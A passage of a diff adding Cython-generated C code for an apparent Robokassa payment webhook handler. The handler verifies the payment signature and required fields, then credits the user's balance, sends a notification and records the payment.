__PYX_ERR(0, 177, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __pyx_t_11 = __Pyx_PyObject_IsTrue(__pyx_t_4); if (unlikely((__pyx_t_11 < 0))) __PYX_ERR(0, 177, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_12 = (!__pyx_t_11); + if (__pyx_t_12) { + + /* "handlers/payments/robokassa_pay.py":178 + * + * if not check_payment_signature(params): + * logger.error(" .") # <<<<<<<<<<<<<< + * return web.Response(status=400) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_logger); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 178, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_error); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 178, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_kp_u__21}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 178, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":179 + * if not check_payment_signature(params): + * logger.error(" .") + * return web.Response(status=400) # <<<<<<<<<<<<<< + * + * if not amount or not inv_id or not shp_id: + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_web); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 179, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Response); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 179, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 179, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 179, __pyx_L4_error) + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 179, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_8); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + goto __pyx_L8_try_return; + + /* "handlers/payments/robokassa_pay.py":177 + * ) + * + * if not check_payment_signature(params): # <<<<<<<<<<<<<< + * logger.error(" .") + * return web.Response(status=400) + */ + } + + /* "handlers/payments/robokassa_pay.py":181 + * return web.Response(status=400) + * + * if not amount or not inv_id or not shp_id: # <<<<<<<<<<<<<< + * logger.error(" .") + * return web.Response(status=400) + */ + __pyx_t_11 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_amount); if (unlikely((__pyx_t_11 < 0))) __PYX_ERR(0, 181, __pyx_L4_error) + __pyx_t_13 = (!__pyx_t_11); + if (!__pyx_t_13) { + } else { + __pyx_t_12 = __pyx_t_13; + goto __pyx_L13_bool_binop_done; + } + __pyx_t_13 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_inv_id); if (unlikely((__pyx_t_13 < 0))) __PYX_ERR(0, 181, __pyx_L4_error) + __pyx_t_11 = (!__pyx_t_13); + if (!__pyx_t_11) { + } else { + __pyx_t_12 = __pyx_t_11; + goto __pyx_L13_bool_binop_done; + } + __pyx_t_11 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_shp_id); if (unlikely((__pyx_t_11 < 0))) __PYX_ERR(0, 181, __pyx_L4_error) + __pyx_t_13 = (!__pyx_t_11); + __pyx_t_12 = __pyx_t_13; + __pyx_L13_bool_binop_done:; + if (__pyx_t_12) { + + /* "handlers/payments/robokassa_pay.py":182 + * + * if not amount or not inv_id or not shp_id: + * logger.error(" .") # <<<<<<<<<<<<<< + * return web.Response(status=400) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_logger); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 182, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_error); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 182, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_kp_u__22}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 182, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/robokassa_pay.py":183 + * if not amount or not inv_id or not shp_id: + * logger.error(" .") + * return web.Response(status=400) # <<<<<<<<<<<<<< + * + * tg_id = shp_id + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_web); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 183, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_Response); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 183, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 183, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 183, __pyx_L4_error) + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 183, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + goto __pyx_L8_try_return; + + /* "handlers/payments/robokassa_pay.py":181 + * return web.Response(status=400) + * + * if not amount or not inv_id or not shp_id: # <<<<<<<<<<<<<< + * logger.error(" .") + * return web.Response(status=400) + */ + } + + /* "handlers/payments/robokassa_pay.py":185 + * return web.Response(status=400) + * + * tg_id = shp_id # <<<<<<<<<<<<<< + * + * logger.info(f"Processing payment for user {tg_id} with amount {amount}.") + */ + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_shp_id); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_shp_id); + __pyx_cur_scope->__pyx_v_tg_id = __pyx_cur_scope->__pyx_v_shp_id; + + /* "handlers/payments/robokassa_pay.py":187 + * tg_id = shp_id + * + * logger.info(f"Processing payment for user {tg_id} with amount {amount}.") # <<<<<<<<<<<<<< + * + * await update_balance(int(tg_id), float(amount)) + */ + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_logger); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 187, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_info); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 187, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = PyTuple_New(5); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 187, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_9 = 0; + __pyx_t_10 = 127; + __Pyx_INCREF(__pyx_kp_u_Processing_payment_for_user); + __pyx_t_9 += 28; + __Pyx_GIVEREF(__pyx_kp_u_Processing_payment_for_user); + PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_kp_u_Processing_payment_for_user); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 187, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_10; + __pyx_t_9 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_8, 1, __pyx_t_6); + __pyx_t_6 = 0; + __Pyx_INCREF(__pyx_kp_u_with_amount); + __pyx_t_9 += 13; + __Pyx_GIVEREF(__pyx_kp_u_with_amount); + PyTuple_SET_ITEM(__pyx_t_8, 2, __pyx_kp_u_with_amount); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 187, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_10; + __pyx_t_9 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_8, 3, __pyx_t_6); + __pyx_t_6 = 0; + __Pyx_INCREF(__pyx_kp_u__6); + __pyx_t_9 += 1; + __Pyx_GIVEREF(__pyx_kp_u__6); + PyTuple_SET_ITEM(__pyx_t_8, 4, __pyx_kp_u__6); + __pyx_t_6 = __Pyx_PyUnicode_Join(__pyx_t_8, 5, __pyx_t_9, __pyx_t_10); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 187, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_6}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 187, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":189 + * logger.info(f"Processing payment for user {tg_id} with amount {amount}.") + * + * await update_balance(int(tg_id), float(amount)) # <<<<<<<<<<<<<< + * await send_payment_success_notification(tg_id, float(amount)) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 189, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_tg_id); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 189, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_8 = __Pyx_PyNumber_Float(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 189, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_14 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_14)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_14); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_14, __pyx_t_6, __pyx_t_8}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 189, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L16_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 189, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 189, __pyx_L4_error) + } + } + + /* "handlers/payments/robokassa_pay.py":190 + * + * await update_balance(int(tg_id), float(amount)) + * await send_payment_success_notification(tg_id, float(amount)) # <<<<<<<<<<<<<< + * + * await add_payment(int(tg_id), float(amount), "robokassa") + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 190, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_8 = __Pyx_PyNumber_Float(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 190, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_6, __pyx_cur_scope->__pyx_v_tg_id, __pyx_t_8}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 190, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L17_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 190, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 190, __pyx_L4_error) + } + } + + /* "handlers/payments/robokassa_pay.py":192 + * await send_payment_success_notification(tg_id, float(amount)) + * + * await add_payment(int(tg_id), float(amount), "robokassa") # <<<<<<<<<<<<<< + * + * logger.info(f"Payment successful. Balance updated for user {tg_id}.") + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 192, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_8 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_tg_id); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 192, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_6 = __Pyx_PyNumber_Float(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 192, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_14 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_14)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_14); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[4] = {__pyx_t_14, __pyx_t_8, __pyx_t_6, __pyx_n_u_robokassa}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 3+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 192, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L18_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 192, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 192, __pyx_L4_error) + } + } + + /* "handlers/payments/robokassa_pay.py":194 + * await add_payment(int(tg_id), float(amount), "robokassa") + * + * logger.info(f"Payment successful. Balance updated for user {tg_id}.") # <<<<<<<<<<<<<< + * + * return web.Response(text=f"OK{inv_id}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 194, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_info); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 194, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = PyTuple_New(3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 194, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_9 = 0; + __pyx_t_10 = 127; + __Pyx_INCREF(__pyx_kp_u_Payment_successful_Balance_updat); + __pyx_t_9 += 45; + __Pyx_GIVEREF(__pyx_kp_u_Payment_successful_Balance_updat); + PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_kp_u_Payment_successful_Balance_updat); + __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 194, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_8) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_8) : __pyx_t_10; + __pyx_t_9 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_8); + __Pyx_GIVEREF(__pyx_t_8); + PyTuple_SET_ITEM(__pyx_t_5, 1, __pyx_t_8); + __pyx_t_8 = 0; + __Pyx_INCREF(__pyx_kp_u__6); + __pyx_t_9 += 1; + __Pyx_GIVEREF(__pyx_kp_u__6); + PyTuple_SET_ITEM(__pyx_t_5, 2, __pyx_kp_u__6); + __pyx_t_8 = __Pyx_PyUnicode_Join(__pyx_t_5, 3, __pyx_t_9, __pyx_t_10); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 194, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_8}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 194, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":196 + * logger.info(f"Payment successful. Balance updated for user {tg_id}.") + * + * return web.Response(text=f"OK{inv_id}") # <<<<<<<<<<<<<< + * + * except Exception as e: + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_web); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 196, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Response); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 196, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 196, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_inv_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 196, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_n_u_OK, __pyx_t_8); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 196, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_text, __pyx_t_5) < 0) __PYX_ERR(0, 196, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_4); if 